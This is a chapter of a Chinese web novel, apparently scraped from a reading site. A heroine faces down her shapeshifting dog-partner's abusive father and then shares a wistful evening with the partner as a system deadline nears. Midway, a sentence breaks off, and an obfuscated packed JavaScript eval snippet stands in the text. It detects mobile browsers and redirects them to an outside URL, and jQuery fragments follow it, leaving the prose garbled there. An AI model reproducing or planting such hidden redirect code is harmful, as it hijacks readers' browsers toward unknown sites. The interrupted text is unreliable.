69. 倒计时五天

    薄骞是来“兴师问罪”的没错。


    不管怎么样,他都是薄聿的老子,外面养个女人就行了,居然还敢堂而皇之地带在身边,真是不像话!


    他薄家的儿媳妇儿绝对不能是那些不三不四的女人。


    趁着薄聿上班的功夫,薄骞专程来这一趟,就是想看看他到底看上了个什么样的女人。


    最主要是他心里不甘,那股说不清道不明的悔恨快要将他吞没。


    怪物从小就是怪物,不分尊卑,不知孝悌。


    本来一直瞎下去多好啊,最好永远都看不见……谁知道这女人哪里冒出来的,居然能劝动那个怪物去看医生。


    薄聿一好,他就不太好了。


    薄骞冷着脸坐在客厅里,端足了长辈架子,然而在见到颜瑾之后,他的表情变了变。


    说什么上为什么,明明是第一次见面,这女人居然给他一种诡异的熟悉感。


    更诡异的是,他的脸突然隐隐作痛,连带着身上的骨头都隐隐发酸,仿佛曾经遭受过什么严重的迫害。


    颜瑾松了松衣领,大喇喇地在他对面坐下,“薄董今日前来有何贵干啊?”


    “你……”薄骞眉头皱得能夹死蚊子,语气竟然带着迟疑,“我们之前见过?”


    颜瑾笑了,“你猜?”


    “……”薄骞脸色逐渐变得铁青。


    怪不得能跟怪物厮混到一起,看那样子也不是什么正经东西。


    他冷哼了声,最终决定直奔主题:“要多少钱才肯离开薄聿?你开个价。”


    这一幕熟悉得令人发笑。


    经典桥段,梅开二度呗。


    颜瑾差点笑出声,上次支线任务里,这老登也是这副嘴脸,连台词都不带变的。


    她慢悠悠地端起茶杯,装模作样地吹了吹浮沫,“不知道薄董觉得,你儿子值个什么价?”


    薄骞一副“果然如此”的轻蔑表情,他就知道这种女人见钱眼开,为了钱什么都能干。


    然而颜瑾接下来的话就让他表情没那么好看了,“十个亿怎么样,我给你打个折,九点九九亿,支票汇款都可以,拿到钱我就走,离他远远的。”


    “薄董好歹是这么大个集团的董事长,应该不会连这点钱都没有,是吧?”


    “…………”薄骞觉得她脑子有病。


    先不说他有没有这么多的流动资金,就算有,会便宜了她?


    也不看看自己配不配!


    “呵。”利诱不行,薄骞也懒得跟她废话了,“真是不知死活……哦,想必你还不知道吧。”


    他那张脸扭曲得像个发皱的核桃,狞笑着一字一顿道:“薄聿不敢告诉你吧,你你知道每天睡在旁边的是个什么怪物吗?”


    “我知道啊。”


    颜瑾直接靠在沙发上,悠悠然道:“就狗呗,咋滴,你没见过狗啊?”


    这下薄骞的表情堪称风云变幻,声音陡然拔高,还夹杂着不敢置信。


    “——你竟然知道?!”


    颜瑾摊手,“我跟他这关系,知道很奇怪吗?倒是薄董,人家可是你亲儿子诶,你这个当老子的这么怕啊?”


    仿佛听了一个很好笑的笑话,薄骞嗤笑,“我怕他?”


    “不过是个养不熟的畜生,我是他老子,我会怕他,真是笑话。”


    “真的吗?”颜瑾伸出纤细的手指,笑着指了指他身后,“那你转头看看呢。”


    薄骞身体一僵。


    粗重低沉的喘息声在耳畔响起,带着兽类特有的腥热气息,那声音越来越近,湿热的鼻息几乎喷在他的后颈上。


    薄骞缓缓转身,然后对上了一双冰冷的漆黑兽瞳。


    那是一只体型巨大的狗,再怎么看都超过一百三十斤,浑身毛发如绸缎般发亮,脊背弓起,锋利獠牙外露,明明只是条狗,却让人有种被狼盯上的错觉,散发着令人胆寒的压迫感。


    薄骞的呼吸都窒住了。


    他太熟悉这个眼神了——十年前,他被这只“怪物”撕咬得遍体鳞伤的恐惧瞬间涌上心头。


    这些年,他披着人皮,看起来无比正常,他都忘了,他终究是个非人生物。


    而且,还变得比十年前更加庞大、凶狠……


    薄骞的表情难以抑制地变得惊恐,忙起身往后退,“你……你怎么在家……”他不是在上班吗,怎么可能回来这么快?


    薄聿从喉咙里溢出低吼声,“谁让你过来的?”


    “我没有,小聿,我没……”


    薄聿呲着尖牙,“滚!”


    大狗还没干什么呢,老登就已经被吓破胆,屁话都不敢说,连滚带爬地仓皇逃走了。


    看那样子,短时间内应该是不敢过来了。


    颜瑾托着下巴,饶有兴趣地打量着眼前的大型犬。


    这是她第二次见到薄聿的成年兽形,上次发情期还没看够就变回去了,现在终于能好好观赏一番了。


    瞧这油光水滑的黑色皮毛,看这健硕流畅的肌肉线条……


    半晌,颜瑾得出结论。


    还是幼崽期更可爱啊,唉,长大了脑袋都不圆了……狗崽崽的赏味期怎么那么短,遗憾、惋惜。


    幸好薄聿现在读不了她的心,要不然绝对会委屈成一百三十斤的大胖狗。


    不仅要跟以后的自己争宠,还要防备着她更喜欢小时候的自己,狗生艰难。


    “宝,过来我摸摸。”


    明明狗还是那只狗,可是面对颜瑾,凶猛没了,威慑也没了,只剩下软乎乎,呼噜呼噜就过来贴贴了。


    颜瑾感觉自己被一张巨大的狗毛毯子盖住了,目光所及之处全是狗毛。


    她用力搓了搓大狗的毛脑袋,“原来我们宝长大这么威风啊,幸好咱现在有钱,要不然都养不起你了……”


    为什么要说“原来”?薄聿眉毛动了动,脑袋过去抵了抵。


    “不过宝宝,你对他干什么了,他看到你像见到鬼一样?”跑出去的时候差点把鞋踢掉了。


    大狗漆黑的眼眸闪过一丝暗芒。


    不能告诉老婆……要是她知道自己会咬人,指不定就不喜欢他了。


    薄聿没说话,只是突然一个前扑,将颜瑾压倒在沙发上,温热的舌头从下到上舔过她的脸颊。


    猝不及防又被洗了把脸的颜瑾:“……”


    果然还是熟悉的味道,熟悉的配方……幸好大狗不舔屎,要不然她肯定会把他的舌头扯出来,洗刷刷一顿。


    禁止随地大小舔。


    “偷袭我是吧,看我不亲死你,坏大狗!”颜瑾呜哇乱叫着反扑过去。


    薄聿也不反驳,就蹲在原地,仰着脸任由她亲。


    不仅非常的不值钱,而且心机。


    ……


    得知薄骞被吓得住了院,已经是一周后的事了。


    说实话,颜瑾还真想提个果篮去看看他的惨样,你说说,这骂又骂不过她,打又打不过大狗,还隔三差五过来挑衅,闲的不是。


    不过她在家吃香的喝辣的,才懒得给自己找不痛快呢。


    只要见到老登那张脸,颜瑾就会想起他曾经


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045665|172113||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    把小狗活埋的那一幕,恨不得他直接被吓成偏瘫中风才好。


    三个月的时间说长不长,说短不短,好像悄没声就过了一大半。


    直到最后一周,薄聿的记忆都没恢复。


    颜瑾也已经放平心态了,毕竟记忆恢没恢复,大狗对她跟之前都没两样,甚至还更腻歪了。


    这不就够了。


    只是看着越来越接近的deadline,她不免有些愁云惨淡,这【教会薄聿,什么是爱】的支线任务,到底该怎么完成啊!


    尤其是最近,集团工作应该挺多的,大狗回家的时间越来越晚了。


    离系统倒计时还有五天。


    “宝,你知道什么是爱吗?”颜瑾双手托着腮,目光亮晶晶地问正在给她煮夜宵的大狗。


    厨房里,灯光朦胧。


    这几天气温高热,薄聿穿得也相当薄,修身的围腰恰到好处地将那劲瘦腰身掐出来,显得腰是腰,屁股是屁股的,身上的木质沉香格外让人心旷神怡。


    看似随意打扮,实则处处都是心机。


    听到颜瑾的话,薄聿打蛋的手微顿了顿,而后若无其事地继续烹饪,“问这么做什么?”


    颜瑾歪头去看,“怎么,害羞了?这不是想听听你跟我说情话嘛……”


    薄聿抿了抿唇。


    看那样子,他又不太开心了,语气闷闷地,“说出去来的不管用,做出来的才行。”


    颜瑾看着他低垂下去的浓密睫毛,手一贱,突然伸出去碰了碰。


    薄聿像被烫到似的猛地一颤,抬眼去看他,那双黑眸湿漉漉,含着无边的情谊,像只无辜又沉默的大狗狗。


    颜瑾仿佛被蛊惑到了,盯着他敞开的胸肌,不自觉放轻了声音。


    “宝宝,你的眼睛真白……不是,你的莱子真好看……”


    厨房里的空气突然变得粘稠起来,弥漫着甜酒酿的香气和若有似无的暧昧气息。


    两人的距离越捱越近。


    不知道是谁先主动的,嘴唇缓缓碰到了一起。


    渐渐地,锅里的汤汁沸腾着溢出了锅沿。


    颜瑾仿佛如梦初醒般后退半步,抹了下嘴,故作轻松地打趣道,“哎哟你看这,明明在等夜宵,怎么嘴巴先吃上了,这事儿闹的。”


    薄聿的喉结难耐地滚动了一下。


    他转过头平复情绪,“……再撒点葱花就好了,老婆你先去坐着,等会儿我端过来。”


    “谢谢宝,你真好~”


    夜宵吃完,颜瑾心满意足,很快就呼呼进入了梦乡。


    月光透过纱帘,在她恬静的睡颜上洒下细碎的光斑。


    而薄聿却毫无睡意。


    他侧睡着,那双黑眸缄默地注视着她。


    大狗轻轻拨开颜瑾额前的碎发,目光贪婪地描摹着她的轮廓,仿佛要把每一处细节都刻进骨髓。


    其实薄聿已经失眠好几天了。


    哪怕他刻意忽略,可三个月的时间转瞬即逝……还有五天。


    只剩五天,她就要离开了……


    为什么时间不能停留在这一刻呢,未来的他们还有很长的时间可以相伴到老,可现在的自己只剩下五天了。


    难道他就不配拥有比这更多几分的幸福吗?


    仿佛有人用钝刀一点点剜着他心脏旁边的软肉,那股尖锐的疼痛不致命,却又绵长不绝。


    薄聿颤抖着将脸颊贴过去,双臂紧紧抱住颜瑾,像只找窝的流浪狗,本能地抓住那点易逝的温暖。


    “老婆,不要怪我……”